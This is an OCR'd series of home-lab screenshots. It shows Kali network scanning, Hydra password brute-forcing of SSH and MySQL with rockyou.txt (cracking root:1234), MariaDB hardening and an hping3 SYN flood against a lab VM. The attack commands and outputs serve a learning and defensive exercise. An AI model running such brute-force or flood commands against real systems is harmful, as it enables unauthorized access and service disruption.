Sensitivity:0/0
Retry:off RTS thr:off Fragment thr:off
Power Management:off
Link Quality:® Signal level:@ Noise level:0
Rx invalid nwid:® Rx invalid crypt:@ Rx invalid frag:@
Tx excessive retries:@ Invalid misc:@ Missed beacon:@

L—(kali@kali)-[-]
$ ifconfig wlan@
wlan@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 2312
inet 192.168.80.102 netmask 255.255.255.0 broadcast 192.168.80.255
inet6 fe80::f607:1a06:c455:8ec prefixlen 64 scopeid 0x20<link>
ether 00:c@:ca:bl:b@:d4 txqueuelen 1000 (Ethernet)
RX packets 4 bytes 1078 (1.0 KiB)
RX errors © dropped @ overruns @ frame 0
TX packets 17 bytes 1938 (1.8 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

l_—( kali® kali)-[~]
$ sudo ifconfig wlan@ down
[sudo] password for kali:

ES( kali® kali)-[~]

sudo airmon-ng start wlan@

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
585 NetworkManager
3123 wpa_supplicant

PHY Interface Driver Chipset
phyo wlan@ 88XXau Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R

DB WLAN Adapter
(monitor mode enabled)
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y The Wireshark Network Analyzer
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® G BRERR@ 2 ¢« >n «>PE oo ol

(R]Apply a display filter ... <Ctrl-/> =)+

Welcome to Wireshark

Open

/home/kali/Desktop/Wireshark with zenmap scan of spot 2.pcapng (357 KB)
/home/kali/Desktop/Wireshark with zenmap scan of spot.pcapng (357 KB)
/home/kali/Desktop/ping scan spot.pcapng (4488 Bytes)
/home/kali/Desktop/wireshark spot ping.pcapng (11 KB)

Capture
...using this filter: [:] Allinterfaces shown~

eth0 A

ani [
Loopback: lo

docker0

bluetooth-monitor

nflog

nfqueue

Learn

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.2.5 (Git v4.2.5 packaged as 4.2.5-1).

® E Readyto load or capture i No Packets i Profile: Default
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s Capturing from wlanO (host 192.168.80.3)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
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(W]Rpply a disg ter ... < /> 0+
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> Zenmap o
Scan Tools Profile Help

Target: 192.168.80.0/24 v Profile: Intense scan v Scan Cancel

Command: nmap -T4 -A -v 192.168.80.0/24

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

os Host - nmap -T4 -A -v 192.168.80.0/24 v Details

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for [host down]

Nmap scan report for . .80. [host down]

Initiating Parallel DNS resolution of 1 host. at 13:00

Completed Parallel DNS resolution of 1 host. at 13:00, 0.02s elapsed
Initiating SYN Stealth Scan at 13:00

Scanning 2 hosts [1000 ports/host]

Discovered
Discovered
Increasing send delay for JEPIBULIISELE from © to 5 due to 47 out of 117 dropped probes since last increase.
Completed SYN Stealth Scan against JEPISUERE] in 22.90s (1 host left)

Completed SYN Stealth Scan at 13:01, 27.80s elapsed (2000 total ports)

Initiating Service scan at 13:01

Filter Hosts
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File Machine View Input Devices Help

BERpec 230 e e po =] la NG
- Zenmap [}
Scan Tools Profile Help

Target: 192.168.80.0/24 v Profile: Intense scan - Scan Cancel

Command: nmap -T4 -A -v 192.168.80.0/24

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans
os Host - v 192.168.80.3
v Host Status
& 192.168.80.100 State: up 3
o 192.168.80.102 Open ports: 2 6 )

Filtered ports: 995
Closed ports: 3
Scanned ports: 1000

Up time: 446649 _.

Last boot: Thu Nov 14 08:57:12 2024

o 3-80-169-192.static.reverse.lstn.net (192.169.80.3)

v Addresses
IPv4: 192.168.80.3

IPv6: Not available
MAC: 00:30:1A:4F:64:10

v Operating System
Name: Linux 2.6.32 - 3.13

Accuracy: e

v Ports used
Port-Protocol-State: 22 - tcp - open

Port-Protocol-State: 80 - tcp - closed

¥ OS Classes
Type Vendor OS Family OS Generation Accuracy

general purpose Linux  Linux 3.X _

v TCP Sequence
Difficulty: Good luck!
Index: 261

Values: v
» IP ID Sequence

Filter Hosts » TCP TS Sequence
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BERRWE [ 23 4|0 e
>

Scan Tools Profile Help

Target: 192.168.80.0/24

Command: nmap -T4 -A -v 192.168.80.0/24

Hosts Services

os Host v
T 192.168.80.100
o 192.168.80.102
o 3-80-169-192.static.reverse.Istn.net (192.169.80.3)

Filter Hosts

Zenmap

v Profile: Intense scan

Nmap Output Ports / Hosts Topology Host Details Scans

x x { x &

Port
22
80
443
31038
31337

Protocol
tcp
tcp
tcp
tcp
tcp

State
open
closed
open
closed
closed

Service Version

ssh OpenSSH 8.9p1 (protocol 2.0)
http

http nginx

unknown

Elite

v Scan

O 4¢ A O0s3k|ac

()

Cancel
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>
Scan Tools Profile Help

Target: 192.168.80.0/24 Profile:  Intense scan

Command: nmap -T4 -A -v 192.168.80.0/24

Services Nmap Output Ports / Hosts Topology Host Details Scans

Hosts Viewer {3 Fisheye = Controls Legend [ Save Graphic

192.168.80.100
192.168.80.102
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) Robot - VMware Workstation
File Edit View VM Tabs Help
Library x
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) Robot - VMware Workstation
File Edit View VM Tabs Help

Library

& ) My Computer
m [ cpe
attack machine

To return to your computer, move the mouse pointer outside or press Ctrl+Alt.

27 Nov 09:31 SO0

robot@robot: ~

Reading state information Done
open-vm-tools is already the newest version (2:12.2.0-1+debl2u2)
open-vm-tools set to manually installed
open-vm-tools-desktop is already the newest version (2:12.2.0-1+debl2u2)
0 upgraded, o newly installed, @ to remove and @ not upgraded
root@robot: /home/robot# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group def
ault qlen 1000
link/loopback ©0:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_1ft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 00:0c:29:89:72:7c brd ff:ff:ff:ff:ff:ff
altname enp2sl
inet 192.168.244.136/24 brd 192.168.244.255 scope global dynamic noprefix
route ens33
valid_1ft 1631sec preferred_lft 1631sec
inet6 fe80::20c:29ff:fe89:727c/64 scope link noprefixroute
valid_1ft forever preferred_lft forever
Toot@robot: /home/Tobot# AC
rooterobot : /home/xobot# |
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robot@robot: ~ Q

rooterobot: /home/Tobot# su

rooterobot: /home/Tobot# apt update

Hit:1 http://security.debian.org/debian-security bookworm-security InRelease
Hit:2 http://deb.debian.org/debian bookworm InRelease

Hit:3 http://deb.debian.org/debian bookworm-updates InRelease

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

A1l packages are up to date
Toot@robot : /home/Tobot# apt install net-tools curl wget nano -y
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robot@robot: ~ Q

rooterobot: /home/robot# apt install openssh-server -yl
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#
#
#
#

Include /etc/ssh/sshd_config.d/*.conf

#PoTt 22
#AddressFamily any
#ListenAddress ©.0.0.0
#ListenAddress

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key

robot@robot: ~ al=| x

This is the sshd sexver system-wide configuration file. See
sshd_config(s) for more information

This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

The strategy used for options in the default sshd_config shipped with
OpenssH is to specify options with their default value where
possible, but leave them commented. Uncommented options override the
default value

Where Is
Replace

cut
Paste

Execute
Justify

Write out
Read File
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Robot

Activities £ Terminal 27 Nov 09:40

robot@robot:

root@robot : /home/robot#
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robot@robot: ~ al=| x

Preparing to unpack .../5-inetutils-telnetd_2%3a2.4-2+deb12ul_amd64.deb
Unpacking inetutils-telnetd (2:2.4-2+debl2ul)

Selecting previously unselected package telnetd

Preparing to unpack .../6-telnetd_@.17+2.4-2+debl2ul_all.deb

Unpacking telnetd (@.17+2.4-2+deb12ul)

setting up xinetd (1:2.3.15.3-1+b1)

setting up libestr:amds4 (6.1.11-1)

setting up libfastjson4:amd64 (1.2304.0-1)

setting up liblognorms:amd64 (2.0.6-4)

setting up rsyslog (8.2302.8-1)

Created symlink /etc/systemd/system/syslog.service - /1ib/systemd/system/Tsys
log.service

Created symlink /etc/systemd/system/multi-user.target.wants/rsyslog.service -
/1ib/systemd/system/Tsyslog.service

setting up inetutils-telnetd (2:2.4-2+debl2ul)

Note: xinetd currently is not fully supported by update-inetd

Please consult /usr/share/doc/xinetd/README.Debian and itox(8)

update-inetd: warning: cannot add service, /etc/inetd.conf does not exist
setting up telnetd (8.17+2.4-2+debl2ul)

Processing triggers for man-db (2.11.2-2)

Processing triggers for Lib:
root@robot : /home/robot#
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robot@robot: ~

rooterobot : /home/robot ENTIIIEUTREIN]
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robot@robot: ~ Q

Enabling module mime

[Enabling module negotiation

Enabling module setenvif

Enabling module filter

Enabling module deflate

Enabling module status

Enabling module reqtimeout

Enabling conf charset

Enabling conf localized-error-pages

Enabling conf other-vhosts-access-log

Enabling conf security

Enabling conf serve-cgi-bin

Enabling site 000-default

Created symlink /etc/systemd/system/multi-user.target.wants/apache2.service -
/1ib/systend/systen/apache2. service

Created symlink /etc/systemd/system/multi-user.target.wants/apache-htcachecle

an.service - /lib/systemd/system/apache-htcacheclean.service

Processing triggers for man-db (2.11.2-2)

rooterobot: /home/robot# sudo systemctl start apache2

rooterobot: /home/robot# sudo systemctl enable apache2

synchronizing state of apache2.service with SysV service script with /lib/sys

temd/systemd-sysv-install

Executing: /1ib/systemd/systemd-sysv-install enable apache2

rooterobot : /home/robot#
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(| Apache2 Debian Default Pag X | +

<« ¢} O & 192168.244.136 Al © @ 4

Apache2 Debian Default Page

It works!

This is the default welcome page used to test the correct operation of the Apachez server aft]

installation on Debian systems. If you can read this page, it means that the Apache HTTP sen
at this site is working properly. You should replace this file (located at /var /waw/html/inde|
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probabl
that the site is currently unavailable due to maintenance. If the problem persists, please conti
site's administrator.

Configuration Overview
Debian's Apache2 default configuration is different from the upstream default configuration, 4
into several files optimized for interaction with Debian tools. The configuration system is full
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the man
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follof

setc/apache2/

|- apache2.conf

/ ‘-~ ports.conf
|-~ mods-enabled

/ *.Joad

/ *.conf

|-~ conf-enabled

/ ‘o= *.conf

|-~ sites-enabled

/ *.conf

« apache2.conf is the main configuration file. It puts the pieces together by including all rel
configuration files when starting up the web server.

« ports.conf is always included from the main configuration file. It is used to determine th|
listening ports for incoming connections, and this file can be customized anytime.
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robot@robot: ~ Q

P ISP N YRIN IS s uGo apt install mysql-server
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robot@robot: ~ al=| x

root@robot : /home/Tobot# sudo apt install vsftpd -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed
vsftpd
0 upgraded, 1 newly installed, @ to remove and @ not upgraded
Need to get 142 kB of archives
After this operation, 351 kB of additional disk space will be used
Get:1 http://deb.debian.org/debian bookworm/main amd64 vsftpd amd64 3.0.3-13+
b2 [142 kB]
Fetched 142 kB in 0s (724 KB/s)
Preconfiguring packages
Selecting previously unselected package vsftpd
(Reading database 156032 files and directories currently installed
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb
Unpacking vsftpd (3.0.3-13+b2)
Setting up vsftpd (3.0.3-13+b2)
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service -
/1ib/systend/systen/vsftpd. service
Processing triggers for man-db (2.11.2-2)
rooterobot : /home/Tobot#
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[Uali®ati)-[-]

$ nmap 192.168.244.136

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 17:04 EST
Nmap scan report for 192.168.244.136
Host is up (0.00022s latency)

Not shown: 997 closed tcp ports (reset)
PORT  STATE SERVICE

21/tcp open  ftp

22/tcp open ssh

80/tcp open http

MAC Address: 00:0C:29:89:72:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
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[(kati®kati)-[~)

$ nmap -sV 192.168.244.136

Starting Nmap 7.945VN ( https://nmap.org ) at 2024-12-04 17:06 EST
Stats: 6 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 17:06 ( 3 remaining)
Nmap scan report for 192.168.244.136

Host is up (0.00028s latency)

Not shown: 997 closed tcp ports (reset)

PORT  STATE SERVICE VERSION

21/tcp open ftp  vsftpd 3.0.3

22/tcp open ssh  OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http  Apache httpd 2.4.62 ((Debian)

MAC Address: 00:0C:29:89:72:7C (VMuare)

Service Info: 0Ss: Unix, Linuxj CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.73 seconds
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[(ali®ati)-[-]
$ nmap -T4 -A 192.168.244.136

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 17:08 EST
Nmap scan report for 192.168.244.136

Host is up (0.00041s latency)

Not shown: 997 closed tcp ports (reset)

PORT  STATE SERVICE VERSION
21/tcp open ftp  vsftpd 3
| ftposyst:

| STAT:

| FTP server status:
I Connected to
1 Logged in as ftp

| TYPE: ASCIT

1 No session bandwidth limit

1 Session timeout in seconds is 300
|

|

|

|

1

3

< FFFF1192.168.244.138

Control connection is plain text
Data connections will be plain text
At session startup, client count was 1
VSFTPd 3
End of status

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh  OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)

| ssh-hostkey:

| 256 b8:c5:a5:5b:49:ae:6d:cf:75:70:8:28:52:4c:c1:59 (ECDSA)

|_ 256 95:2d:97:f4:c2:ca:38:c1:04: f8:89:€5:68:5d:08:b3 (ED25519)

80/tcp open http  Apache httpd 2.4.62 ((Debian)

|_http-server-header: Apache/2.4.62 (Debian)

| http-title: Apache2 Debian Default Page: It works

MAC Address: 00:0C:29:89:72:7C (VMware)

Device type: general purpose

Running: Linux 4.XI5.X

05 CPE: cpe:/o:Linux:Linux_kernel:4 cpe:/o:linux:linux_kernel:s

05 details: Linux 4.15 - 5.8

Network Distance: 1 hop

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

3 - secure, fast, stable

TRACEROUTE
HOP RTT  ADDRESS
1 0.41 ms 192.168.244.136

05 and service detection performed. Please report any incorrect results at ht
tps: //nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
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Kali@kali: fusr/share/wordlists
File Actions Edit View Help
[(kati®kati)-[~]
$ hydra -1 root -P /usr/share/wordlists/rockyou. txt
ssh://192.168.244.136
. Hydra v9.5 (c) 2023 by van Hauser/THC & David Macieja
k - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-bi
nding, these % ignore laws and ethics anyway)

Hydra (https://github.con/vanhauser-thc/thc-hydra) st
arting at 2024-11-28 16:02:19

[WARNING] Many SSH configurations limit the number of
parallel tasks, it is recommended to reduce the task

s: use -t 4

[ERROR] File for passwords not found: /usr/share/word

Lists/rockyou. txt

—(kali® kali)-[~]
—$ cd

—(kali® kali)-[~]
¢ cd /usr/share/wordlists/

l —(kali® kali)-[/usr/share/wordlists]
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Kali@kali: fusr/sharefwordlists.
File Actions Edit View Help

[ERROR] File for passwords not found: /usr/share/word
Lists/rockyou. txt

r—(kali® kali)-[~]
=$ cd

—(kali® kali)-[~]
¢ cd /usr/share/wordlists/

—(kali® kali)-[/usr/share/wordlists]
1§ 1s | grep rockyou
rockyou. txt.gz

—(kali® kali)-[/usr/share/wordlists]
¢ sudo gzip —d rockyou.txt.gz
[sudo] password for kali:

—(kali® kali)-[/usr/share/wordlists]
1§ 1s | grep rockyou
rockyou. txt

—(kali® kali)-[/usr/share/wordlists]
el |
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|

Kali@kali: fusr/sharefwordlists.

File Actions Edit View Help

[ (kali® kali)- [/usr/share/wordlists]
$ hydra -1 root -P /usr/share/wordlists/rockyou.txt ssh://192.168.244
.136

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal purpose
s (this is non-binding, these & ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-
28 16:07:05

[WARNING] Many SSH configurations limit the number of parallel tasks, i
t is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login trie
5 (1:1/p:14344399), ~896525 tries per task

[DATA] attacking ssh://192.168.244.136:22/

[STATUS] 149.00 tries/min, 149 tries in 00:01h, 14344251 to do in 1604:31h, 15 acti

ve
~CLERROR] Can not create restore file (./hydra.restore) - Permission denied

[ (i kali) [ /usr/share/wordlists)
$ 0
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robot@robot: ~

ssh.service - OpenBSD Secure Shell server
loaded (/1ib/systemd/system/ssh.service; enabled; preset: enabled
active (running) since Wed 2024-11-27 ©9:39:46 GMT; 1 day 11h ago

Loaded
Active
Docs

Main PID
Tasks
Memory
cpPy
cGroup

man:sshd
man: sshd,
4201 (ssl
1 (limit
3.6M
9.9625

(8)

_config(s)

hd)
2243)

/system.slice/ssh.service

4201

Tobot
Tobot
Tobot
Tobot
Tobot
Tobot
Tobot
Tobot
Tobot
Tobot

sshd

sshd[9448
sshd[9448
sshd[9441
sshd[9441
sshd[9441
sshd[9441
sshd[9442
sshd[9442
sshd[9442
sshd[9442

in/sshd -D [listener] 0 of 10-100 start
PAM 4 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.244.134 user=root
PAM service(sshd) ignoring max retries; 5 > 3

error: maximum authentication attempts exceeded for root from 192.168.244.134 port 42436 ssh2 [preauth]
Disconnecting authenticating user root 192.168.244.134 port 42436: Too many authentication failures [preauth
PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.244.134 user=root
PAM service(sshd) ignoring max retries; 6 > 3

error: maximum authentication attempts exceeded for root from 192.168.244.134 port 42450 ssh2 [preauth]
Disconnecting authenticating user root 192.168.244.134 port 42450: Too many authentication failures [preauth
PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.244.134 user=root
PAM service(sshd) ignoring max retries; 6 > 3
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E(ka\i@ka\i)’[Iusr/sh:re/wrd\isls]

$ nmap -p 3306 192.168.244.136

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 13:27 EST
Nmap scan report for 192.168.244.136

Host is up (0.0011s latency)

PORT  STATE SERVICE
3306/tcp open mysql

6 seconds

1 1P address (1 host up) scanned in

Nmap don

(kali® kali)-[/usr/share/wordlists]

Con
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$ hydra -1 root -P /usr/share/wordlists/rockyou.txt -s 3306 mysql://192.168.244.
136

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mili
tary or secret service organizations, or for illegal purposes (this is non-binding
, these w*x ignore laws and ethics anyway)

Hydra (https://github.con/vanhauser-thc/thc-hydra) starting at 2024-12-03 13:48:01
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections
)

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (1:1/p:1434
4399), ~3586100 tries per task

[DATA] attacking mysql://192.168.244.136:3306/
~[[B*[[B"[[B"[[A"[[A*[[A[3306][mysql] host: 192.168.244.136 login: root passwo
rd: 1234

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 1 final worker threads did not complete unt
il end.

[ERROR] 1 target did not resolve or could not be connected

[ERROR] @ target did not complete

Hydra (https://github.con/vanhauser-thc/thc-hydra) finished at 2024-12-03 13:48:15
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MariaDB [(none)]> ALTER USER 'root'@'localhost' IDENTIFIED BY 'StrongPassword
1231 -
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MariaDB [(none)]> REVOKE ALL PRIVILEGES, GRANT OPTION FROM 'root'@'s';
ERROR 1269 (HY@@Q): Can't Tevoke all privileges for one or more of the requ
ted users

MariaDB [(none)]> GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIF
D BY 'StrongPasswordi23!' WITH GRANT OPTION;

Query OK, @ rows affected (0.001 sec)

MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, @ rows affected (0.000 sec)
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robot@robot: ~ al=| x

GNU_na c/my.

d

l# These groups are read by MariaDB server

|# Use it for options that only the server (but not clients) should see

l# this is read by the standalone daemon and embedded servers
[server]

|+ this is only for the mysqld standalone daemon
[mysqld)

max_connect_errors = 1000000
[+

l# * Basic settings

[+

jruser mysql

/run/mysqld/mysqld.pid

Write out
Read File

Bl Execute
Justify

Where Is
Replace

cut
Paste
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robot@robot: ~ Q

1/maria

l# These groups are read by MariaDB server
|# Use it for options that only the server (but not clients) should see

l# this is read by the standalone daemon and embedded servers
[server]

|+ this is only for the mysqld standalone daemon
[mysqld)

max_connect_errors = 10

|+

j# * Basic settings

Jruser = mysql
pid-file = /xun/mysqld/mysqld.pid

€ Help Write Out Wl Where Is Cut il Execute
§ Exit Read File (@ Replace Y paste | Justify
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robot@robot: ~

c/mysql/mariad
mysql
/xun/mysqld/mysqld.pid
Just
/var/lib/mysql

= /tmp

|+ Broken reverse DNs slows down connections considerably and name resolve is
# safe to skip if there are no "host by domain name” access grants

[#skip-name-resolve

# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure
bind-address = 127.0.0.1]

[+
j# * Fine Tuning

€ Help Write Out @l Execute
Exit Read File (@ Replace Justify
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GNU_nar

g

[# These groups are read by MariaDB server

# Use it for options that only the server (but not clients) should see

# this is read by the standalone daemon and embedded servers
[server]

# this is only for the mysqld standalone daemon
[mysqld)

max_connect_errors = 10

general_log = 1
general_log_file
[#

# * Basic Settings
[#

8 Help Write out
Exit Read File

/vax/log/mysql/mariadb.log

Where Is
Replace

cut Bl Execute
Paste Justify
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File Actions Edit View Help
E$(ka\i@ka\i)—i-]

hydra -1 root -P /usr/share/wordlists/rockyou.txt -5 3306 mysql://192.168.244.

136

Hydra v9.5 () 2023 by van Hauser/THC & David Maciejak - Please do not use in mili
tary or secret service organizations, or for illegal purposes (this is non-binding

, these %% ignore laws and ethics anyway)

Hydra (https://github.con/vanhauser-thc/thc-hydra) starting at 2024-12-03 14:30:47
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections

)

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (1:1/p:1434

4399), ~3586100 tries per task

[DATA] attacking mysql://192.168.244.136:3306/
[ERROR] Child with pid 272478 terminating, can
[ERROR] Child with pid 272480 terminating, can
[ERROR] Child with pid 272481 terminating, can
[ERROR] Child with pid 272479 terminating, can

[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.con/vanhauser-thc/thc-hydra) finished at 2024-12-03 14:30:52
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Tasks
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robot@robot: ~ al=| x

Toot@robot: /home/robot# sudo systemctl status ssh
o ssh.service - OpenBsD Secure shell server

loaded (/1ib/systemd/system/ssh.service; enabled; preset: enabl]
active (running) since Thu 2024-11-28 21:29:36 GMT; 4 days ago
man:sshd(8)

man:sshd_config(5)

9576 (sshd)

1 (limit: 2243)

2.2m

24.393s

/system.slice/ssh.service

L9576 "sshd: /usr/sbin/sshd -D [listener] @ of 10-100 startups
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File Actions Edit View Help

[(kali®kali)-
sudo hpingd -5 -p 22 -i u1000
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@] lali@kali: (x}
File Actions Edit View Help

7.1ms
Ten=46 ip=192.168.244.136 ttl=64 DF id=0 sport=22 flags=SA seq-1883 win=64240 rtt=
4.2 ms

-+ len=46 ip=192.168.244.136 ttl=64 DF id=0 sport=22 flags=SA seq-1884 win=64240 rtt=

2.9 ms
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1.4 ms
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7.8 ms
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5.0 ms
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robot@robot: ~ Q

robot@robot: ~ robot@robot: ~ robot@robot: ~ -

o ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/1ib/systemd/system/ssh.service; enabled; preset: enablf]
Active: active (running) since Tue 2024-12-03 20:50:46 GMT; 27min ago
Docs: man:sshd(8)
man: sshd_config(s)

Main PID: 22789 (sshd)
Tasks: 1 (limit: 2243)
Memory: 1.4M

CPU: 157ms
CGroup: /system.slice/ssh.service
L22789 "sshd: /usr/sbin/sshd listener] @ of 10-100 startupfj
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Tobot
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Tobot
Tobot
Tobot
Tobot
robot
Tobot
Tobot
robot

robot@robot: ~ Q

robot@robx

5shd[9576]
systemd[1]
systemd[1]:
systemd[1]
systemd[1]
systemd[1]:
sshd[22570
sshd[22570] :
systemd[1]:
sshd[22679
sshd[22679] :
sshd[22679
sshd[22679] :
sshd[22679)
sshd[22679
systemd[1]
sshd[22570] :
systemd[1]

systemd[1]

systemd[1]:

1]
x

robot@robot: ~ -

Received signal 15; terminating

Stopping ssh.service - OpenssD Secure shelf
ssh.service: Deactivated successfully.
Stopped ssh.service - OpenBsD Secure Shellf
ssh.service: Consumed 24.398s CPU time.
Starting ssh.service - OpenBSD Secure Shelfl
Server listening on .0.0.0 port 22.
Server listening on :: port 22

Started ssh.service - Open8sD Secure Shelll
pam_unix(sshd:auth): authentication fail
Failed password for root from ::1 port 4
Failed password for root from ::1 port 4
Failed password for root from ::1 port 47}
Connection closed by authenticating user
PAM 2 more authentication failures; lognal
Stopping ssh.service - OpenBSD Secure Shell
Received signal 15; terminating.
ssh.service: Deactivated successfully.
Stopped ssh.service - OpenBSD Secure Shellll

starting ssh.service - Open8sD Secure Shell
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robot@robot: ~ al=| x

robot@robot: ~ robot@robot: ~ robot@robot: ~ -

top - 21:05:01 up 6 days, 11:37, 2 users, load average: .18, 0.07, 0.02
Tasks: 222 total, 1 running, 221 sleeping, @ stopped, © zombie

%Cpu(s): ©.4 us, 0.4 sy, ©.0ni, 94.6 id, 0.0 wa, ©.0 hi, 4.7 si, 0.0
MiB Mem 1932.4 total,  206.1 free, 1223.5 used,  674.4 buff/cache
MiB Swap 975.0 total,  488.0 free,  487.0 used 708.9 avail Mem

TIME+

14 Toot 20 o 0 0 ©Ss 0.3 0.0 0:05.81
1523 Tobot 20 0 3390388 184708 41308 S 0.3 9.3 13:09.46
22884 To00t 20 o 0 0 ©I 0.3 0.0 0:00.65
22986 root 20 © 11624 5056 3164 R 0.3 0.3 0:00.04
1 root 20 © 169392 10996 6760 S 0.0 0.6 0:15.60
2 Toot 20 o 0 0 0S5 0.0 0.0 0:00.05
3 Toot 0 -20 0 0 I 0.0 0.0 0:00.00
4 Toot 0 -20 0 0 I 0.0 0.0 0:00.00
5 Toot 0 -20 0 0 I 0.0 0.0 0:00.00
6 Toot 0 -20 0 0 I 0.0 0.0 0:00.00
8 Toot 0 -20 0 0 I 0.0 0.0 0:00.00

10 root 0 -20 0 0 I 0.0 0.0 0:00.00 l
11 Toot 20 o ) ) 21 0.0 0.0 0:00.00




